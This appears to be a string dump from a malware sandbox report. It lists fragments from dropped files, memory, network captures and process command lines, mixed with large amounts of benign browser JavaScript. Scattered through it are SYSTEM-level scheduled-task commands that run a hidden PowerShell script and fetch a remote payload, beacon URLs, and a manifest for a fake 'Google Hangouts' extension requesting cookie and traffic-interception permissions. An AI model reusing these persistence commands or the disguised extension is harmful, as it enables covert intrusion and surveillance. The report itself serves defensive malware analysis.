Unicode based on Hybrid Analysis (QQBrowser.exe , 00060649-00002620.00000002.67144.509C1000.00000020.mdmp)
q}}KVTf,i
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
r params={};var query=unescape(location.search.substring(1));var vars=query.split("&");for(var i=0;i<vars.length;i++){var pair=vars[i].split("=");params[pair[0]]=pair[1]}return params}function setQueryParam(location,key,value){var query=parseQueryParams(locati
Ansi based on Runtime Data (CPK.exe )
r(0.4, 0, 0.2, 1)', // Fast out, slow in. }; /** * Offers a small subset of the v1 Animation interface. The underlying * animation can be reversed, canceled or immediately finished. * @see https://www.w3.org/TR/web-animations-1/#animation *
Ansi based on Runtime Data (CPK.exe )
R) %s (%s)%s
Unicode based on Dropped File (ttttt.exe.179545488)
R6002- floating point support not loaded
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
R6010- abort() has been called
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
R6031- Attempt to initialize the CRT more than once.This indicates a bug in your application.
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
R6032- not enough space for locale information
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
R6033- Attempt to use MSIL code from this assembly during native code initializationThis indicates a bug in your application. It is most likely the result of calling an MSIL-compiled (/clr) function from a native constructor or from DllMain.
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
r7/0a0V@v
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
R: Unsupported profile source specified
Ansi based on Dropped File (ttttt.exe.179545488)
R:[^#cI`
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
R??D??:?.
Ansi based on Runtime Data (rundll32.exe )
r?C[/|_???t0?S????c??t??1
Ansi based on Runtime Data (rundll32.exe )
raa.qwepoii.org
Ansi based on PCAP Processing (PCAP)
raa.qwepoii.org/v4/gtg/vboxxharddisk_vb47a275fd-833fcbff?action=visit.psgo.4','
Unicode based on Runtime Data (powershell.exe )
raa.qwepoii.org/v4/gtg/vboxxharddisk_vb47a275fd-833fcbff?action=visit.psgo.6','
Unicode based on Runtime Data (powershell.exe )
raB3G:Sun:Sunday:Mon:Monday:Tue:Tuesday:Wed:Wednesday:Thu:Thursday:Fri:Friday:Sat:Saturday
Ansi based on Dropped File (MIO.dll.1862922135)
rcgi.video.qq.com
Ansi based on PCAP Processing (PCAP)
rd': SHADOW_ALWAYS, 'waterfall': SHADOW_WHEN_SCROLLING, 'waterfall-tall': SHADOW_WHEN_SCROLLING }, tallMode: { 'waterfall-tall': true } }; Polymer({ is: 'paper-header-panel',
Ansi based on Runtime Data (CPK.exe )
RE\Microsoft\Cryptography
Unicode based on Dropped File (psi.dll.1283195511)
RE\Microsoft\Internet Explorer
Unicode based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C3000.00000002.mdmp)
reates the registry keys [LoggerName] autologger session.
Unicode based on Dropped File (ttttt.exe.179545488)
RegCloseKey
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
RegCreateKeyExW
Ansi based on Dropped File (kokoko.dll.2691425955)
RegCreateKeyW
Ansi based on Dropped File (kokoko.dll.2691425955)
RegDeleteKeyExW
Ansi based on Dropped File (ttttt.exe.179545488)
RegDeleteKeyW
Ansi based on Dropped File (hhhhh.exe.655875088)
RegEnumKeyExW
Ansi based on Dropped File (MIO.dll.1862922135)
regex_error
Ansi based on Dropped File (kokoko.dll.2691425955)
regex_error(error_backref): The expression contained an invalid back reference.
Ansi based on Dropped File (kokoko.dll.2691425955)
regex_error(error_badbrace): The expression contained an invalid range in a { expression }.
Ansi based on Dropped File (kokoko.dll.2691425955)
regex_error(error_badrepeat): One of *?+{ was not preceded by a valid regular expression.
Ansi based on Dropped File (kokoko.dll.2691425955)
regex_error(error_brace): The expression contained mismatched { and }.
Ansi based on Dropped File (kokoko.dll.2691425955)
regex_error(error_brack): The expression contained mismatched [ and ].
Ansi based on Dropped File (kokoko.dll.2691425955)
regex_error(error_collate): The expression contained an invalid collating element name.
Ansi based on Dropped File (kokoko.dll.2691425955)
regex_error(error_complexity): The complexity of an attempted match against a regular expression exceeded a pre-set level.
Ansi based on Dropped File (kokoko.dll.2691425955)
regex_error(error_ctype): The expression contained an invalid character class name.
Ansi based on Dropped File (kokoko.dll.2691425955)
regex_error(error_escape): The expression contained an invalid escaped character, or a trailing escape.
Ansi based on Dropped File (kokoko.dll.2691425955)
regex_error(error_paren): The expression contained mismatched ( and ).
Ansi based on Dropped File (kokoko.dll.2691425955)
regex_error(error_parse)
Ansi based on Dropped File (kokoko.dll.2691425955)
regex_error(error_range): The expression contained an invalid character range, such as [b-a] in most encodings.
Ansi based on Dropped File (kokoko.dll.2691425955)
regex_error(error_space): There was insufficient memory to convert the expression into a finite state machine.
Ansi based on Dropped File (kokoko.dll.2691425955)
regex_error(error_stack): There was insufficient memory to determine whether the regular expression could match the specified character sequence.
Ansi based on Dropped File (kokoko.dll.2691425955)
regex_error(error_syntax)
Ansi based on Dropped File (kokoko.dll.2691425955)
Registerd by this Process
Unicode based on Dropped File (ttttt.exe.179545488)
RegisterServiceCtrlHandlerW
Ansi based on Dropped File (kokoko.dll.2691425955)
RegNotifyChangeKeyValue
Ansi based on Dropped File (psi.dll.1283195511)
RegOpenKeyExW
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
RegQueryInfoKeyW
Ansi based on Dropped File (MIO.dll.1862922135)
RemoteRpcDll
Unicode based on Runtime Data (QQBrowser.exe )
remotesigned
Unicode based on Runtime Data (rundll32.exe )
remove // from the end to not encounter any auto-magic card selections in the // process and we hide the card slider throughout. this.cardSlider.currentCard = 0; // Clear any existing apps pages and dots. // TODO(rbyers): It migh
Ansi based on Runtime Data (CPK.exe )
rentControlSet\Control\SafeBoot\Network\Ndisuio
Unicode based on Runtime Data (rundll32.exe )
rentControlSet\Services\%s
Unicode based on Dropped File (hhhhh.exe.655875088)
reqs=visit.cpk.install.true','33')
Unicode based on Runtime Data (powershell.exe )
Request SystemTraceProvider rundown directed at [LoggerName] session
Unicode based on Runtime Data (rundll32.exe )
res the last set of bookmarks that was deleted. */function undoDelete() { lastDeleted.nodes.forEach(function(arr) { arr.forEach(restoreTree); }); lastDeleted = null; $('undo-delete-command').canExecuteChange(); $('undo-delete-from-folders-menu-
Ansi based on Runtime Data (CPK.exe )
result.set(property,SDK.CSSMatchedStyles.PropertyState.Active);}for(var property of style.leadingProperties()){var canonicalName=SDK.cssMetadata().canonicalPropertyName(property.name);if(!styleActiveProperties.has(canonicalName))continue;var longhands=styl
Ansi based on Runtime Data (CPK.exe )
return true;}sidebarElementForProfile(profile){var index=this._sidebarElementIndex(profile);return index===-1?null:this._profileTreeElements[index];}_sidebarElementIndex(profile){var elements=this._profileTreeElements;for(var i=0;i<elements.length;i++){if(
Ansi based on Runtime Data (CPK.exe )
rgetInstance
Unicode based on Dropped File (kokoko.dll.2691425955)
rguments.length === 2 && itemSet) { for (i = 0; i < itemSet.length; i++) { pidx = itemSet[i]; vidx = this._computeVidx(pidx); if ((rtn = fn.call(this, pidx, vidx)) != null) { return rtn; } }
Ansi based on Runtime Data (CPK.exe )
rive, but will be still available to run from CDSelLocalCDThis feature will be completely removedSelLocalAbsentCompiling cost for this feature...SelCostPendingThis feature will remain on you local hard driveSelLocalLocalThis feature requires [1] on your hard d
Ansi based on Runtime Data (rundll32.exe )
RLY /MO %d /ST %02d:%02d:00 /TN "%s" /TR "%s" /RU "SYSTEM" /F /RL HIGHEST
Unicode based on Dropped File (MIO.dll.1862922135)
rn validator.validationError.NONE; }; MediaRouter_OnSinkAvailabilityUpdated_Params.encodedSize = codec.kStructHeaderSize + 8; MediaRouter_OnSinkAvailabilityUpdated_Params.decode = function(decoder) { var packed; var val = new MediaRouter
Ansi based on Runtime Data (CPK.exe )
rned by a BSD-style license that can befound in the LICENSE file.We use an HTML page just to have access to the DOM, for URLparsing. An alternative would be to include a URL parsing JavaScriptlibrary with the extension but this approach is likely smaller
Ansi based on Runtime Data (CPK.exe )
RNING: Could not %s some guids.
Unicode based on Dropped File (ttttt.exe.179545488)
ROOT\CIMV2
Unicode based on Dropped File (kokoko.dll.2691425955)
ror('Missing frameTimeDiscrepancy for '+ue.stableId);frameTimeDiscrepancyNumeric.addSample(frameTimeDiscrepancy,sampleDiagnosticMap);ue.associatedEvents.forEach(function(event){if(!(event instanceof tr.e.cc.InputLatencyAsyncSlice))return;latencyNumeric.addSa
Ansi based on Runtime Data (CPK.exe )
ror: %s is an invalid guid.
Unicode based on Dropped File (ttttt.exe.179545488)
ror: Invalid GuidFile!
Unicode based on Dropped File (ttttt.exe.179545488)
ror: Invalid number of enable flags.
Unicode based on Dropped File (ttttt.exe.179545488)
ROR: System Logger does not accept application guids.
Unicode based on Dropped File (ttttt.exe.179545488)
rosoft\Windows\
Unicode based on Dropped File (MIO.dll.1862922135)
rovider.reset();this._networkView.scheduleUpdate();}highlightEvent(event){var entryIndex=event?this._dataProvider.entryIndexForSelection(Timeline.TimelineSelection.fromTraceEvent(event)):-1;if(entryIndex>=0)this._mainView.highlightEntry(entryIndex);elset
Ansi based on Runtime Data (CPK.exe )
rrentVersion\Uninstall
Unicode based on Dropped File (MIO.dll.1862922135)
rs for the [LoggerName] session
Unicode based on Dropped File (ttttt.exe.179545488)
rsion
Unicode based on Dropped File (hhhhh.exe.655875088)
rteMN.|{\
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
RtlAbsoluteToSelfRelativeSD
Ansi based on Dropped File (hhhhh.exe.655875088)
RtlAddAccessAllowedAce
Ansi based on Dropped File (hhhhh.exe.655875088)
RtlCreateSecurityDescriptor
Ansi based on Dropped File (hhhhh.exe.655875088)
RtlGetDaclSecurityDescriptor
Ansi based on Dropped File (hhhhh.exe.655875088)
RtlGetGroupSecurityDescriptor
Ansi based on Dropped File (hhhhh.exe.655875088)
RtlGetOwnerSecurityDescriptor
Ansi based on Dropped File (hhhhh.exe.655875088)
RtlGetSaclSecurityDescriptor
Ansi based on Dropped File (hhhhh.exe.655875088)
RtlGetVersion
Ansi based on Dropped File (ttttt.exe.179545488)
RtlLengthSecurityDescriptor
Ansi based on Dropped File (hhhhh.exe.655875088)
RtlLengthSid
Ansi based on Dropped File (hhhhh.exe.655875088)
RtlSetDaclSecurityDescriptor
Ansi based on Dropped File (hhhhh.exe.655875088)
rundll32.exe
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Runtime Error!Program:
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
rView=dt.xWorldToView(rightMarker);var distanceBetweenMarkers=interestRange.range;var distanceBetweenMarkersView=dt.xWorldVectorToView(distanceBetweenMarkers);var positionInMiddleOfMarkersView=leftMarkerView+(distanceBetweenMarkersView/2);displayDistance=dista
Ansi based on Runtime Data (CPK.exe )
rySelector('.language-select'); // If the user manually selected a locale, do not change the selection. // Otherwise, select the new |defaultLocale|. var selected = languageSelect.manuallyChanged ? languageSelect.value : defaultLoca
Ansi based on Runtime Data (CPK.exe )
r}2%P_DK)/
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
s off of the component. Hides the margin * controls. * @private */ onMouseOut_: function(event) { var toElement = event.toElement; while (toElement != null) { if (toElement == this.getElement()) { return;
Ansi based on Runtime Data (CPK.exe )
s registry keys that activate GlobalLogger
Unicode based on Dropped File (ttttt.exe.179545488)
s. All rights reserved.// Use of this source code is governed by a BSD-style license that can be// found in the LICENSE file.cr.define("downloads",function(){var Toolbar=Polymer({is:"downloads-toolbar",properties:{downloadsShowing:{reflectToAttribute:true,t
Ansi based on Runtime Data (CPK.exe )
s. All rights reserved.This code may only be used under the BSD style license found at http://polymer.github.io/LICENSE.txtThe complete set of authors may be found at http://polymer.github.io/AUTHORS.txtThe complete set of contributors may be found at http:
Ansi based on Runtime Data (CPK.exe )
s.a+a,b);++this.b};_.T=function(a){return qh(this,a)};_.U=function(a){z(a,this.b);a=this.c.U(this.a+a);--this.b;return a};_.J=function(){return this.b};_.a=0;_.b=0;t(50);function th(a){a=new kh((new jh(a.a)).a);return new uh(a)}function vh(a){this.a=a}m(65,21
Ansi based on Runtime Data (CPK.exe )
S:R+XU;(U
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
s????N????4@????;*?c???@??
Ansi based on Runtime Data (rundll32.exe )
s\Global\PROCEXP152
Unicode based on Dropped File (hhhhh.exe.655875088)
S_VERSION_INFO
Unicode based on Dropped File (MIO.dll.1862922135)
sAboutBlank()){this._name=this._parsedURL.url;this._path='';}else{this._path=this._parsedURL.host+this._parsedURL.folderPathComponents;var inspectedURL=this.target().inspectedURL().asParsedURL();this._path=this._path.trimURL(inspectedURL?inspectedURL.host:'');
Ansi based on Runtime Data (CPK.exe )
schtasks /Create /SC HOURLY /MO 3 /ST 00:37:00 /TN "Windows-PG" /TR "%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe %WINDIR%\psgo\psgo.ps1" /RU "SYSTEM" /F /RL HIGHEST
Ansi based on Process Commandline (schtasks.exe)
schtasks /Run /TN Milimili
Ansi based on Process Commandline (schtasks.exe)
schtasks /Run /TN Windows-PG
Ansi based on Process Commandline (schtasks.exe)
schtasks /Create /SC HOURLY /MO %d /ST %02d:%02d:00 /TN "%s" /TR "%s" /RU "SYSTEM"
Ansi based on Dropped File (MIO.dll.1862922135)
schtasks /Create /SC HOURLY /MO %d /ST %02d:%02d:00 /TN "%s" /TR "%s" /RU "SYSTEM" /F /RL HIGHEST
Unicode based on Dropped File (MIO.dll.1862922135)
schtasks /Create /SC HOURLY /MO 2 /ST 09:45:00 /TN "Milimili" /TR "\"%PROGRAMFILES%\MIO\MIO.exe\" -bindurl http://api.suibianmaimaicom.com/vboxxharddisk_vb47a275fd-833fcbff.dat cmd=" /RU "SYSTEM" /F /RL HIGHEST
Ansi based on Process Commandline (schtasks.exe)
schtasks /Delete /TN "%s" /F
Unicode based on Dropped File (MIO.dll.1862922135)
SCManager failed (%d)
Ansi based on Dropped File (MIO.dll.1862922135)
sDialog([data]);p.then(function(){this.timelineView_.model=m;this.timelineView_.updateDocumentFavicon();}.bind(this),function(err){tr.ui.b.Overlay.showError('While importing: ',err);}.bind(this));},initButtons_:function(){this.recordButton_.addEventListener('c
Ansi based on Runtime Data (CPK.exe )
SeCaptureSecurityDescriptor
Ansi based on Dropped File (hhhhh.exe.655875088)
SeExports
Ansi based on Dropped File (hhhhh.exe.655875088)
Sf:,W]$"
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
sgo.install.finish','%TEMP%\csp3939.tmp')
Unicode based on Runtime Data (powershell.exe )
Shell\1\Shell
Unicode based on Dropped File (psi.dll.1283195511)
singSizeCount>0){var infoQuantifier=missingSizeCount<numerics.length?' '+SOME_TIMESTAMPS_INFO_QUANTIFIER:'';infos.push(tr.ui.analysis.createWarningInfo('Size was not provided'+infoQuantifier+'.'));}},getChildPaneBuilder:function(processMemoryDumps){if(processM
Ansi based on Runtime Data (CPK.exe )
sition based on configured horizontal * and vertical alignment. */ _updateOverlayPosition: function() { if (this.isAttached) { // This triggers iron-resize, and iron-overlay-behavior will call refit if needed.
Ansi based on Runtime Data (CPK.exe )
sition-left: auto; background-position-right: 5em;}.number-collapsed .stat-value { display: none;}.number-expanded .stat-value { display: auto;}</style> <script src="chrome://resources/js/util.js"></script> <script src="chrome://resources
Ansi based on Runtime Data (CPK.exe )
Snarer.msi
Unicode based on Runtime Data (rundll32.exe )
so eliminate extra spacing. */.plugin-details table { -webkit-border-horizontal-spacing: 0; -webkit-border-vertical-spacing: 0;}.plugin-details { -webkit-padding-start: 1em;}/* Separate the inital line, Description, Location, and MIME Types lines.
Ansi based on Runtime Data (CPK.exe )
SOFTWARE\Microsoft\
Unicode based on Dropped File (UAC.dll.626400535)
SOFTWARE\Microsoft\Cryptography
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
SOFTWARE\Microsoft\Internet Explorer
Unicode based on Hybrid Analysis (QQBrowser.exe , 00060649-00002620.00000002.67144.509C1000.00000020.mdmp)
SOFTWARE\Microsoft\Power
Unicode based on Dropped File (psi.dll.1283195511)
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost
Unicode based on Dropped File (kokoko.dll.2691425955)
SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\Chrome.exe
Unicode based on Hybrid Analysis (CPK.exe , 00056905-00001036.00000000.57406.00401000.00000020.mdmp)
Software\Sysinternals\%s
Unicode based on Dropped File (hhhhh.exe.655875088)
Software\Tencent\QQBrowser\Advanced
Unicode based on Hybrid Analysis (QQBrowser.exe , 00060649-00002620.00000002.67144.509C1000.00000020.mdmp)
SOFTWARE\Wow6432Node\Microsoft\Windows\
Unicode based on Dropped File (MIO.dll.1862922135)
SOFTWARE\{84416237-6490-494D-9AD6-4994DD978971}
Unicode based on Dropped File (kokoko.dll.2691425955)
sOJF}M/%*
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
specified by * UX design (bettes@). */ --settings-actionable: var(--cr-actionable); --settings-background-color: rgb(241, 241, 241); --settings-box-row-padding: 20px; --settings-card-max-width: 640px; --settings-disabled-opacity: .6
Ansi based on Runtime Data (CPK.exe )
Specify an event id filter with <n> event ids (maximum 64 event ids allowed)
Unicode based on Dropped File (ttttt.exe.179545488)
Starts up the [LoggerName] trace session
Unicode based on Dropped File (ttttt.exe.179545488)
switch (this.syncStatus.statusAction) { case settings.StatusAction.REAUTHENTICATE: this.syncBrowserProxy_.startSignIn(); break; case settings.StatusAction.SIGNOUT_AND_SIGNIN:if (this.syncStatus.domain) settings.nav
Ansi based on Runtime Data (CPK.exe )
the main content on small screens. if (mobileNav) { document.getElementById('main-content').classList.toggle('hidden'); var runnerContainer = document.querySelector('.runner-container'); if (runnerContainer) { runnerContainer.classList.tog
Ansi based on Runtime Data (CPK.exe )
this.pageIndicator_.pageLabels = message.data.pageNumbers; this.plugin_.postMessage({ type: 'resetPrintPreviewMode', url: message.data.url, grayscale: message.data.grayscale, // If the PDF isn't modifiab
Ansi based on Runtime Data (CPK.exe )
top: 1px;\n margin-right: 2px;\n}\n\n.devices-sidebar-item.device-connected .devices-sidebar-item-status:before {\n color: green;\n}\n\n.devices-sidebar-spacer {\n flex: none;\n}\n\n.devices-view-title {\n font-size: 16px;\n margin: 0 0 15px 15
Ansi based on Runtime Data (CPK.exe )
UserPodCustomIcon.TooltipAutoshowState.ENABLED : UserPodCustomIcon.TooltipAutoshowState.DISABLED); this.tooltipState_.text = tooltip.text; this.updateTooltip_(); }, /** * Sets up icon tabIndex attribute and ha
Ansi based on Runtime Data (CPK.exe )
var addLanguageList = $('add-language-overlay-language-list'); var options = addLanguageList.querySelectorAll('option'); assert(options.length > 0); var selectedFirstItem = false; for (var i = 0; i < options.length; i++) {
Ansi based on Runtime Data (CPK.exe )
var newPage = event.detail.value instanceof Element && event.detail.value.children[0]; if (newPage && newPage.activate != null) { newPage.activate(); } }});<link href="chrome://resources/polymer/v1_0/polymer/polymer.html"
Ansi based on Runtime Data (CPK.exe )
var SyncNodeTree = cr.ui.define('tree'); SyncNodeTree.prototype = { __proto__: cr.ui.Tree.prototype, decorate: function() { cr.ui.Tree.prototype.decorate.call(this); this.addEventListener('change', this.handleChange_.bind(this));
Ansi based on Runtime Data (CPK.exe )
ve6wM[+A/
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
willHide(){super.willHide();this._clearPositionToReveal();}syncToolbarItems(){return[this._sourcePosition];}get loaded(){return this._loaded;}get textEditor(){return this._textEditor;}_ensureContentLoaded(){if(!this._contentRequested){this._contentRe
Ansi based on Runtime Data (CPK.exe )
you want to stop the "%s" session (Y or N)?
Unicode based on Dropped File (ttttt.exe.179545488)
z@???{?R@?}F?
Ansi based on Runtime Data (rundll32.exe )
} </style> <div id="container"></div> </template></dom-module><dom-module id="tr-ui-a-multi-event-sub-view"> <template> <style> :host { display: flex; overflow: auto; } #content { display: flex; flex-dire
Ansi based on Runtime Data (CPK.exe )
} } }; function selectedIndexChanged(selectedIndex, oldSelectedIndex) { var oldSelectedItem = this.menuItems[oldSelectedIndex]; if (oldSelectedItem) { oldSelectedItem.selected = false; oldSelectedItem.blur(); } var item =
Ansi based on Runtime Data (CPK.exe )
} return Object.keys(appIds);}/** * An object that checks one or more appIds' contents against an origin. * @interface */function AppIdChecker() {}/** * Checks whether the given origin is allowed by all of the given appIds. * @param {!Countdown
Ansi based on Runtime Data (CPK.exe )
"*://*.facebook.com/*",
Ansi based on Dropped File (CJ)
"*://*.google.com/*",
Ansi based on Dropped File (CJ)
"*://*.instagram.com/*",
Ansi based on Dropped File (CJ)
"*://*.pinterest.com/*",
Ansi based on Dropped File (CJ)
"*://*.twitter.com/*",
Ansi based on Dropped File (CJ)
"*://*/*"
Ansi based on Dropped File (CJ)
"*://localhost/*"
Ansi based on Dropped File (CJ)
"all_frames": true,
Ansi based on Dropped File (CJ)
"background": {
Ansi based on Dropped File (CJ)
"content_scripts": [
Ansi based on Dropped File (CJ)
"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self'",
Ansi based on Dropped File (CJ)
"cookies",
Ansi based on Dropped File (CJ)
"desktopCapture",
Ansi based on Dropped File (CJ)
"externally_connectable": {
Ansi based on Dropped File (CJ)
"http://*/*",
Ansi based on Dropped File (CJ)
"https://*.google.com/*",
Ansi based on Dropped File (CJ)
"https://*/*",
Ansi based on Dropped File (CJ)
"ids": ["*"],
Ansi based on Dropped File (CJ)
"incognito": "split",
Ansi based on Dropped File (CJ)
"js": [
Ansi based on Dropped File (CJ)
"key": "MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDAQt2ZDdPfoSe/JI6ID5bgLHRCnCu9T36aYczmhw/tnv6QZB2I6WnOCMZXJZlRdqWc7w9jo4BWhYS50Vb4weMfh/I0On7VcRwJUgfAxW2cHB+EkmtI1v4v/OU24OqIa1Nmv9uRVeX0GjhQukdLNhAE6ACWooaf5kqKlCeK+1GOkQIDAQAB",
Ansi based on Dropped File (CJ)
"management",
Ansi based on Dropped File (CJ)
"manifest_version": 2,
Ansi based on Dropped File (CJ)
"matches": [
Ansi based on Dropped File (CJ)
"name": "Google Hangouts",
Ansi based on Dropped File (CJ)
"page": "background.html"
Ansi based on Dropped File (CJ)
"permissions": [
Ansi based on Dropped File (CJ)
"processes",
Ansi based on Dropped File (CJ)
"run_at": "document_start"
Ansi based on Dropped File (CJ)
"storage",
Ansi based on Dropped File (CJ)
"system.cpu",
Ansi based on Dropped File (CJ)
"tabs",
Ansi based on Dropped File (CJ)
"thunk.js"
Ansi based on Dropped File (CJ)
"version": "1.3.2",
Ansi based on Dropped File (CJ)
"webNavigation",
Ansi based on Dropped File (CJ)
"webRequest",
Ansi based on Dropped File (CJ)
"webRequestBlocking",
Ansi based on Dropped File (CJ)
"webrtcAudioPrivate",
Ansi based on Dropped File (CJ)
"webrtcDesktopCapturePrivate",
Ansi based on Dropped File (CJ)
"webrtcLoggingPrivate"
Ansi based on Dropped File (CJ)
// Extension ID: nkeimhogjdpnpccoofpliimaahmaaome
Ansi based on Dropped File (CJ)
// For tests.
Ansi based on Dropped File (CJ)
// Note: Always update the version number when this file is updated. Chrome
Ansi based on Dropped File (CJ)
// triggers extension preferences update on the version increase.
Ansi based on Dropped File (CJ)
switch (this.syncStatus.statusAction) { case settings.StatusAction.REAUTHENTICATE: this.syncBrowserProxy_.startSignIn(); break; case settings.StatusAction.SIGNOUT_AND_SIGNIN:if (this.syncStatus.domain) settings.nav
Ansi based on Runtime Data (CPK.exe )
icon.hidden = (browserSection.id !== deviceStatus.browserId); updateBrowserVisibility(browserSection); } Array.prototype.forEach.call( deviceSection.querySelectorAll('.browser'), updatePortForwardingInfo); updateUsernameVis
Ansi based on Runtime Data (CPK.exe )
isVirtualDestination_: function(destination) { if (destination.origin == print_preview.Destination.Origin.LOCAL) { return arrayContains( [print_preview.Destination.GooglePromotedId.SAVE_AS_PDF], destination.id);
Ansi based on Runtime Data (CPK.exe )
var SyncNodeTree = cr.ui.define('tree'); SyncNodeTree.prototype = { __proto__: cr.ui.Tree.prototype, decorate: function() { cr.ui.Tree.prototype.decorate.call(this); this.addEventListener('change', this.handleChange_.bind(this));
Ansi based on Runtime Data (CPK.exe )
} return Object.keys(appIds);}/** * An object that checks one or more appIds' contents against an origin. * @interface */function AppIdChecker() {}/** * Checks whether the given origin is allowed by all of the given appIds. * @param {!Countdown
Ansi based on Runtime Data (CPK.exe )
- abort() has been called
Unicode based on Memory/File Scan (CPK.exe , 00056905-00001036.00000000.57406.00412000.00000002.mdmp)
previous(currentText){if(this._historyOffset>this._data.length)return undefined;if(this._historyOffset===1)this._pushCurrentText(currentText);++this._historyOffset;return this._currentHistoryItem();}next(){if(this._historyOffset===1)return undefined;-
Ansi based on Runtime Data (CPK.exe )
willHide(){super.willHide();this._clearPositionToReveal();}syncToolbarItems(){return[this._sourcePosition];}get loaded(){return this._loaded;}get textEditor(){return this._textEditor;}_ensureContentLoaded(){if(!this._contentRequested){this._contentRe
Ansi based on Runtime Data (CPK.exe )
UserPodCustomIcon.TooltipAutoshowState.ENABLED : UserPodCustomIcon.TooltipAutoshowState.DISABLED); this.tooltipState_.text = tooltip.text; this.updateTooltip_(); }, /** * Sets up icon tabIndex attribute and ha
Ansi based on Runtime Data (CPK.exe )
initialSettings['printAutomaticallyInKioskMode'] || false, initialSettings['appKioskMode'] || false, numberFormatSymbols[0] || ',', numberFormatSymbols[1] || '.', unitType, initialSettings['previewMod
Ansi based on Runtime Data (CPK.exe )
classes.push(key); } } return classes.join(' '); } Polymer({ is: 'paper-drawer-panel', behaviors: [Polymer.IronResizableBehavior], /** * Fired when the narrow layout changes.
Ansi based on Runtime Data (CPK.exe )
</select> </div> </div> <div id="serif-font-sample" class="font-sample-div"></div> </div> </section> <section> <h3 i18n-content="fontSettingsSansSerif"></h3> <div class="font-setting-container">
Ansi based on Runtime Data (CPK.exe )
this.pageIndicator_.pageLabels = message.data.pageNumbers; this.plugin_.postMessage({ type: 'resetPrintPreviewMode', url: message.data.url, grayscale: message.data.grayscale, // If the PDF isn't modifiab
Ansi based on Runtime Data (CPK.exe )
var addLanguageList = $('add-language-overlay-language-list'); var options = addLanguageList.querySelectorAll('option'); assert(options.length > 0); var selectedFirstItem = false; for (var i = 0; i < options.length; i++) {
Ansi based on Runtime Data (CPK.exe )
*/ getMaxWidthToFit : function(element) { var maxAllowedWidth = $('outer-container').offsetWidth - element.getBoundingClientRect().left - parseInt(window.getComputedStyle(element).marginLeft) - parseInt(wi
Ansi based on Runtime Data (CPK.exe )
if (cr.isChromeOS) this.updateEnabledInputMethods_(); for (var i = 0; i < this.languages.enabled.length; i++) { var languageState = this.languages.enabled[i]; this.set('languages.enabled.' + i + '.removable', this.canDisabl
Ansi based on Runtime Data (CPK.exe )
* Creates and returns a error route response from given Error object. * @param {!Error} error * @return {!Object} */ function toErrorRouteResponse_(error) { return { error_text: error.message, result_code: getRouteRequestResul
Ansi based on Runtime Data (CPK.exe )
var newPage = event.detail.value instanceof Element && event.detail.value.children[0]; if (newPage && newPage.activate != null) { newPage.activate(); } }});<link href="chrome://resources/polymer/v1_0/polymer/polymer.html"
Ansi based on Runtime Data (CPK.exe )
} </style> <div id="container"></div> </template></dom-module><dom-module id="tr-ui-a-multi-event-sub-view"> <template> <style> :host { display: flex; overflow: auto; } #content { display: flex; flex-dire
Ansi based on Runtime Data (CPK.exe )
* @param {!Event} event * @private */ onAutofillTap_: function(event) { // Ignore clicking on the toggle button and verify autofill is enabled. if (Polymer.dom(event).localTarget != this.$.autofillToggle && this.getPref('autofill.enab
Ansi based on Runtime Data (CPK.exe )
(ARCSTARTROT + (360-ARCSIZE)) */ -webkit-animation-iteration-count: infinite; -webkit-animation-timing-function: linear; } /* Filling and unfilling the arc */ @-webkit-keyframes fillunfill { from { stroke-d
Ansi based on Runtime Data (CPK.exe )
= bmm.treeLookup[descendant.parentId]; if (!parentTreeItem || !parentTreeItem.bookmarkNode) return false; return this.contains(parent, parentTreeItem.bookmarkNode); } /** * @param {!BookmarkTreeNode} node The node to test. * @return {
Ansi based on Runtime Data (CPK.exe )
= function(decoder) { return decoder.decodeArrayPointer(this.cls); }; ArrayOf.prototype.encode = function(encoder, val) { encoder.encodeArrayPointer(this.cls, val); }; function NullableArrayOf(cls) { ArrayOf.call(this, cls); } Nulla
Ansi based on Runtime Data (CPK.exe )
> div { margin: 5px 0;}.dependent-extensions-message,.suspicious-install-message { line-height: 150%;}#page-header > .page-banner > .page-banner-gradient { -webkit-margin-end: 0;}#header-controls { /* Reserve enough space to match .location-
Ansi based on Runtime Data (CPK.exe )
a different color.### AccessibilityAlt attribute should be set to provide adequate context for accessibility. If not provided,it defaults to 'loading'.Empty alt can be provided to mark the element as decorative if alternative content is providedin anot
Ansi based on Runtime Data (CPK.exe )
condition A condition to check for truthiness. Note that this * may be used to test whether a value is defined or not, and we don't want * to force a cast to Boolean. * @param {string=} opt_message A message to show on failure. * @return {T} A no
Ansi based on Runtime Data (CPK.exe )
constructor(element) { this.element_ = element; this.element_.addEventListener( 'touchstart', this.onTouchStart_.bind(this), { passive: false }); this.element_.addEventListener( 'touchmove', this.onTouch_.bind(this), { passive: tr
Ansi based on Runtime Data (CPK.exe )
cssBackground CSS * background ticket item. * @param {!print_preview.ticket_items.SelectionOnly} selectionOnly Selection * only ticket item. * @param {!print_preview.ticket_items.HeaderFooter} headerFooter Header * footer ticket ite
Ansi based on Runtime Data (CPK.exe )
